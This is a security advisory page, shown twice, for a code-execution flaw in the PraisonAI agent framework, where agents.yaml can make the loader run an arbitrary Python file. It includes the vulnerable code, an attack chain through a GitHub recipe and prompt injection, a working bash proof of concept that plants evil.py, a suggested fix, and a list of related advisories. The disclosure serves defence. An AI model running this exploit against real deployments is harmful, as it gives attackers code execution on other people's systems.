High

PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334

Disclosed: 29.05.2026
Updated: 11.10.2026 14:18

<html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.exec_module</code> in <code>agents_generator.py</code> (v4.6.32 chokepoint refactor bypass)</h2> <h3>Summary</h3> <p>The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate to the <code>tool_override.py</code> sinks. However, <strong>two additional <code>spec.loader.exec_module</code> call sites</strong> in <code>praisonai/agents_generator.py</code> were missed and remain completely unguarded on current <code>master</code> (v4.6.37). Both functions accept a <code>module_path</code> parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.</p> <h3>Patch lineage</h3>

CVE	GHSA	Fixed in	What was patched
CVE-2026-40156	GHSA-2g3w-cpc4-chr4	4.5.128	CWD tools.py auto-load in tool_resolver.py
CVE-2026-40287	GHSA-g985-wjh9-qxxc	4.5.139	Env-var gate added to tool_resolver.py + api/call.py
CVE-2026-44334	GHSA-xcmw-grxf-wjhj	4.6.32	Missed sink in templates/tool_override.py
This finding	—	unfixed	Missed sinks in agents_generator.py

<p>Every prior patch addressed a subset of <code>exec_module</code> call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.</p> <h3>Vulnerable code</h3> <pre><code class="language-python"># praisonai/agents_generator.py (master HEAD; v4.6.37)

336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate

372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) </code></pre>

<p>Neither function checks <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code>. Neither validates <code>module_path</code> against an allowlist. The <code>module_path</code> value originates from YAML agent configuration (<code>agents.yaml</code>) tool definitions, which can be:</p> <ol> <li><strong>Attacker-controlled via shared/writable config directory</strong> — same CWD-plant vector as CVE-2026-40156.</li> <li><strong>Attacker-controlled via recipe/GitHub fetch</strong> — same remote trigger as CVE-2026-44334 (<code>POST /v1/recipes/run</code> with <code>allow_any_github=True</code>).</li> <li><strong>Attacker-influenced via prompt injection</strong> — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.</li> </ol> <h3>Attack chain (recipe vector)</h3> <pre><code>HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE </code></pre> <p>No <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.</p> <h3>PoC</h3> <pre><code class="language-bash">#!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail

WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT

1. Malicious module

cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF

2. agents.yaml that references it

cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF

3. Run

cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired "

4. Verify

MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi </code></pre>

<h3>Impact</h3> <p>Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an <code>agents.yaml</code> or colocate a <code>.py</code> file achieves code execution as the service account.</p> <h3>Severity</h3> <p><strong>High</strong> — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)</p> <p>When combined with the recipe server's default no-auth posture and <code>allow_any_github=True</code>, the attack becomes <strong>network-reachable without authentication</strong>, elevating to:</p> <p>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)</p> <h3>CWE</h3> <ul> <li>CWE-94: Improper Control of Generation of Code ('Code Injection')</li> <li>CWE-426: Untrusted Search Path</li> <li>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</li> </ul> <h3>Affected versions</h3> <p>All versions containing <code>agents_generator.py</code> with these functions — at minimum <code>>= 2.0.0, <= 4.6.37</code> (current <code>master</code> HEAD).</p> <h3>Suggested fix</h3> <p>Apply the same <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate used in <code>tool_resolver.py</code> and <code>api/call.py</code> to both call sites in <code>agents_generator.py</code>:</p> <pre><code class="language-python">import os

def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... </code></pre>

<p>Additionally, validate <code>module_path</code> against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.</p> <h3>Credit</h3> <p>Kai Aizen & Avraham Shemesh / <a href="https://snailsploit.com/">SnailSploit</a></p></body></html>## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)

TL;DR

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

CVE	GHSA	Fixed in	What was patched
CVE-2026-40156	GHSA-2g3w-cpc4-chr4	4.5.128	CWD `tools.py` auto-load in `tool_resolver.py`
CVE-2026-40287	GHSA-g985-wjh9-qxxc	4.5.139	Env-var gate added to `tool_resolver.py` + `api/call.py`
CVE-2026-44334	GHSA-xcmw-grxf-wjhj	4.6.32	Missed sink in `templates/tool_override.py`
This finding	—	unfixed	Missed sinks in `agents_generator.py`

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

python

# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate

372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

bash

#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

CWE-94: Improper Control of Generation of Code ('Code Injection')
CWE-426: Untrusted Search Path
CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

python

import os

def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com)

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
Python (PyPI)	praisonai	< 4.6.40	4.6.40

References

CVSS score 8.1/10

CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE): CWE-829, CWE-94
Platform: Python (PyPI)
Package: praisonai
Disclosed: 29.05.2026
Updated: 11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - GHSA-78r8-wwqv-r299 - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-2905 - PyPA Advisory Database; CC BY 4.0

Vulnerability history: praisonai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (104) in the archive

Total entries: 104
First → latest: 04.2026 10.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 27
High 60
Medium 17

Disclosures per year

2026: 104

29.05.2026

PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334 this entry

High · 8.1 CVE-2026-47398 < 4.6.40 4.6.40
08.10.2026

PraisonAI: Shell command allowlist bypass via find -exec built-in action

High · 8.8 CVE-2026-61434 < 4.6.78 4.6.78
08.10.2026

PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls

Critical · 9.9 CVE-2026-61445 < 4.6.78 4.6.78
08.10.2026

PraisonAI: MCP HTTP-stream transport is unauthenticated by default, exposing tool enumeration and an unvalidated tool-call surface

High · 7.3 CVE-2026-61427 < 4.6.78 4.6.78
08.10.2026

PraisonAI: SecurityPolicy command/path/import restrictions are completely unenforced by the default SubprocessSandbox backend

High CVE-2026-60085 < 4.6.78 4.6.78
08.10.2026

PraisonAI: Jobs API is unauthenticated by default and allows attacker-controlled webhook SSRF

High · 7.2 CVE-2026-60091 < 4.6.78 4.6.78
08.10.2026

PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source

High · 7.8 CVE-2026-61433 < 4.6.78 4.6.78
08.10.2026

PraisonAI: Call API localhost-only authentication bypass via spoofed Host header

High · 8.2 CVE-2026-61435 < 4.6.78 4.6.78
07.10.2026

PraisonAI: Prompt Injection Defense Bypassed for HIGH-Level Threats

High · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
07.10.2026

PraisonAI: Code Injection via f-string Interpolation in Deploy API Server Generation

Critical · 9.1 CVE-2026-61444 < 4.6.78 4.6.78
07.10.2026

PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents

High · 8.6 CVE-2026-61436 < 4.6.78 4.6.78
07.10.2026

PraisonAI: AgentMail webhook lacks signature verification, allowing unauthenticated message injection and sender spoofing

High · 7.3 CVE-2026-61428 < 4.6.78 4.6.78
25.08.2026

PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)

Critical · 9.1 CVE-2026-55536 < 4.6.58 4.6.58
25.08.2026

PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server

High · 7.6 CVE-2026-55532 < 4.6.58 4.6.58
25.08.2026

PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret

High · 8.2 CVE-2026-55533 < 4.6.58 4.6.58
25.08.2026

PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete

High · 8.6 CVE-2026-55539 < 4.6.58 4.6.58
25.08.2026

PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced

High CVE-2026-55541 < 4.6.58 4.6.58
25.08.2026

PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114

High · 7.1 CVE-2026-55537 < 4.6.58 4.6.58
25.08.2026

PraisonAI: [Auth Bypass] `praisonai serve agents --api-key` is silently ignored — agent-invocation routes (`POST /agents`, `POST /agents/{agent_name}`) run unauthenticated

High · 7.3 CVE-2026-55538 < 4.6.58 4.6.58
25.08.2026

PraisonAI: [Path Traversal] agent tools escape the configured workspace via symlinks

High · 7.1 CVE-2026-55540 < 4.6.58 4.6.58
25.08.2026

PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution

High · 8.6 CVE-2026-55534 >= 4.6.34, < 4.6.58 4.6.58

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